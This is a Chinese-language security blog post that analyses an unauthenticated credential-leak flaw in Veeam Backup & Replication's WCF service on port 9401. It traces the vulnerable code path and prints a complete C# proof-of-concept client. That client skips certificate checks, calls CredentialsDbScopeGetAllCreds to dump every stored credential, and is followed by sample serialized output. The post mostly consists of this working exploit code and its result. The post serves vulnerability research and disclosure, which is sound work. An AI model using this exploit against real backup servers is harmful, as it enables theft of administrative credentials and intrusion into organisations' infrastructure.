警告
本文最后更新于 2023-03-17 ,文中内容可能已过时。
https://download2.veeam.com/VBR/v11/VeeamBackup&Replication_11.0.1.1261_20211123.iso
见之前文章 https://y4er.com/posts/cve-2022-26500-veeam-backup-replication-rce/
9401端口对应Veeam.Backup.Service.exe
典型的dotnet服务程序,其OnStart创建服务
CVbServiceImpl构造函数中创建ssl服务
创建ssl证书,并且绑定在BackupServerSslPort 9401端口上
CRemoteInvokeServiceHolder.CreateService(SOptions.Instance.BackupServerSslPort, mngrs)
创建了一个CRemoteInvokeServiceHolder对象
其构造函数将服务绑定在NetTcpBinding上,uri是net.tcp://172.16.16.153:9401/
,对应的处理类为CVbRestoreServiceStub
配置文件中可见详细的binding配置 C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config
CVbRestoreServiceStub类中可以用.net remoting wcf的形式调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
NetTcpBinding binding = new NetTcpBinding ();
NetTcpSecurity netTcpSecurity = new NetTcpSecurity ();
netTcpSecurity . Mode = SecurityMode . Transport ;
TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity ();
tcpTransportSecurity . ClientCredentialType = TcpClientCredentialType . None ;
netTcpSecurity . Transport = tcpTransportSecurity ;
binding . Security = netTcpSecurity ;
binding . Name = "NetTcpBinding" ;
Uri uri = new Uri ( "net.tcp://172.16.16.153:9401/" );
EndpointAddress endpoint = new EndpointAddress ( uri , EndpointIdentity . CreateDnsIdentity ( "Veeam Backup Server Certificate" ));
ChannelFactory < IRemoteInvokeService > myChannelFactory = new ChannelFactory < IRemoteInvokeService >( binding , endpoint );
X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication ();
x509ServiceCertificateAuthentication . CertificateValidationMode = X509CertificateValidationMode . None ;
myChannelFactory . Credentials . ServiceCertificate . SslCertificateAuthentication = x509ServiceCertificateAuthentication ;
IRemoteInvokeService cVbRestoreServiceStub = myChannelFactory . CreateChannel ( endpoint );
通过调用cVbRestoreServiceStub对象下的函数即可。该对象有一个invoke函数
在ProcessCommand中做函数请求分发
这个功能点太多了,别说泄露凭据,在这出现RCE我都不觉得奇怪。我在这放出来泄露凭据的点吧。
在ExecuteDatabaseManagerCommand中有一个CredentialsDbScopeGetAllCreds的case调用ExecuteCredentialsDbScopeGetAllCreds,顾名思义是拿所有的Creds。
最终读取凭据并返回
debug调试看到确实如此
写代码看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
using System ;
using System.IdentityModel.Selectors ;
using System.IO ;
using System.Runtime.Serialization.Formatters.Binary ;
using System.Security.Cryptography.X509Certificates ;
using System.ServiceModel ;
using System.ServiceModel.Security ;
using System.Xml ;
using Veeam.Backup.Interaction.MountService ;
namespace ConsoleApp4
{
internal class Program
{
static void Main ( string [] args )
{
NetTcpBinding binding = new NetTcpBinding ();
NetTcpSecurity netTcpSecurity = new NetTcpSecurity ();
netTcpSecurity . Mode = SecurityMode . Transport ;
TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity ();
tcpTransportSecurity . ClientCredentialType = TcpClientCredentialType . None ;
netTcpSecurity . Transport = tcpTransportSecurity ;
binding . Security = netTcpSecurity ;
binding . Name = "NetTcpBinding_IRemoteInvokeService" ;
Uri uri = new Uri ( "net.tcp://172.16.16.153:9401/" );
EndpointAddress endpoint = new EndpointAddress ( uri , EndpointIdentity . CreateDnsIdentity ( "Veeam Backup Server Certificate" ));
ChannelFactory < IRemoteInvokeService > myChannelFactory = new ChannelFactory < IRemoteInvokeService >( binding , endpoint );
X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication ();
x509ServiceCertificateAuthentication . CertificateValidationMode = X509CertificateValidationMode . None ;
myChannelFactory . Credentials . ServiceCertificate . SslCertificateAuthentication = x509ServiceCertificateAuthentication ;
IRemoteInvokeService cVbRestoreServiceStub = myChannelFactory . CreateChannel ( endpoint );
Guid guid = Guid . NewGuid ();
MemoryStream memoryStream = new MemoryStream ();
BinaryFormatter binaryFormatter = new BinaryFormatter ();
binaryFormatter . Serialize ( memoryStream , true );
string base64 = Convert . ToBase64String ( memoryStream . ToArray ());
Console . WriteLine ( base64 );
string xml = String . Format ( """
< RemoteInvokeSpec ContextSessionId = "{0}" Scope = "Service" Method = "CredentialsDbScopeGetAllCreds" >
< Params >
< Param ParamName = "includeHidden" ParamValue = "{1}" ParamType = "System.String" ></ Param >
</ Params >
</ RemoteInvokeSpec >
""", guid.ToString(), base64);
string v = cVbRestoreServiceStub . Invoke ( ERemoteInvokeScope . DatabaseManager , ERemoteInvokeMethod . CredentialsDbScopeGetAllCreds , xml );
Console . WriteLine ( v );
//xml = String.Format("""
// <RemoteInvokeSpec ContextSessionId="{0}">
// <DbExecSqlCommandRemoteInvokeSpec>
// <SqlCommand>GetAllCreds</SqlCommand>
// </DbExecSqlCommandRemoteInvokeSpec>
// </RemoteInvokeSpec>
// """, guid.ToString(), base64);
//string v1 = cVbRestoreServiceStub.Invoke(ERemoteInvokeScope.DatabaseAccessor, ERemoteInvokeMethod.ExecSqlCommand, xml);
//Console.WriteLine(v1);
Console . ReadKey ();
}
}
}
最终返回的结果是序列化之后的xml
1
<?xml version="1.0"?> <RemoteInvokeRetVal><Params><Param ParamName= "retVal" ParamType= "System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" ParamValue= "AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTEuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQQBAAAAogFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8sIFZlZWFtLkJhY2t1cC5Nb2RlbCwgVmVyc2lvbj0xMS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iZmQ2ODRkZTIyNzY3ODNhXV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgQAACdWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvW10CAAAACAgJAwAAAAQAAAAEAAAABwMAAAAAAQAAAAQAAAAEJVZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcmVkZW50aWFsc0luZm8CAAAACQQAAAAJBQAAAAkGAAAACQcAAAAMCAAAAFdWZWVhbS5CYWNrdXAuQ29tbW9uLCBWZXJzaW9uPTExLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWJmZDY4NGRlMjI3Njc4M2EFBAAAACVWZWVhbS5CYWNrdXAuTW9kZWwuQ0RiQ3JlZGVudGlhbHNJbmZvBQAAABg8VmVyc2lvbj5rX19CYWNraW5nRmllbGQTPElkPmtfX0JhY2tpbmdGaWVsZBQ8VGFnPmtfX0JhY2tpbmdGaWVsZBg8VmlzaWJsZT5rX19CYWNraW5nRmllbGQcPENyZWRlbnRpYWxzPmtfX0JhY2tpbmdGaWVsZAADBAAECQtTeXN0ZW0uR3VpZCBWZWVhbS5CYWNrdXAuTW9kZWwuQ1Zick9iamVjdFRhZwIAAAABIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzCAAAAAIAAAArAAAAAAAAAAT3////C1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgIDWydwBejhSZU1GGfGI3HiBfb///8gVmVlYW0uQmFja3VwLk1vZGVsLkNWYnJPYmplY3RUYWcBAAAAB190YWdTdHIBAgAAAAYLAAAAJDcwMjc1QjAzLUU4MDUtNDlFMS05NTM1LTE4NjdDNjIzNzFFMgEJDAAAAAEFAAAABAAAAFQAAAAAAAAAAfP////3////UK/rtWMaSEyDn1+KVFJSCwHy////9v///wYPAAAAJEI1RUJBRjUwLTFBNjMtNEM0OC04MzlGLTVGOEE1NDUyNTIwQgEJEAAAAAEGAAAABAAAAF0AAAAAAAAAAe/////3////0t55466Nmku3fX7ZnoxxUgHu////9v///wYTAAAAJEUzNzlERUQyLThEQUUtNEI5QS1CNzdELTdFRDk5RThDNzE1MgEJFAAAAAEHAAAABAAAAFMAAAAAAAAAAev////3////0UEA/WhKvUqu/rK/Art8qQHq////9v///wYXAAAAJEZEMDA0MUQxLTRBNjgtNEFCRC1BRUZFLUIyQkYwMkJCN0NBOQEJGAAAAAUMAAAAIFZlZWFtLkJhY2t1cC5Db21tb24uQ0NyZWRlbnRpYWxzBwAAAAhVc2VyTmFtZQhQYXNzd29yZA5Jc0xvY2FsUHJvdGVjdAtDdXJyZW50VXNlcgtEZXNjcmlwdGlvbhVDaGFuZ2VUaW1lVXRjSGFzVmFsdWUNQ2hhbmdlVGltZVV0YwEBAAABAAABAQENCAAAAAYZAAAABHJvb3QGGgAAAAABAAYbAAAAHEhlbHBlciBhcHBsaWFuY2UgY3JlZGVudGlhbHMB4MhQUIMm2wgBEAAAAAwAAAAGHAAAAARyb290CRoAAAABAAYeAAAAM1RlbmFudC1zaWRlIG5ldHdvcmsgZXh0ZW5zaW9uIGFwcGxpYW5jZSBjcmVkZW50aWFscwGwLdRCgybbCAEUAAAADAAAAAYfAAAABHJvb3QJGgAAAAEABiEAAAAiQXp1cmUgaGVscGVyIGFwcGxpYW5jZSBjcmVkZW50aWFscwHwIkZGgybbCAEYAAAADAAAAAYiAAAABHJvb3QJGgAAAAEABiQAAAA1UHJvdmlkZXItc2lkZSBuZXR3b3JrIGV4dGVuc2lvbiBhcHBsaWFuY2UgY3JlZGVudGlhbHMBsC3UQoMm2wgL" /></Params></RemoteInvokeRetVal>
懒得处理了,你们自己解吧。
在 https://twitter.com/codewhitesec/status/1633948476353519616?s=20 这个推文中,他拿到的密码有一个administrator,应该是某些参数或者我安装配置的问题,不深究了。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。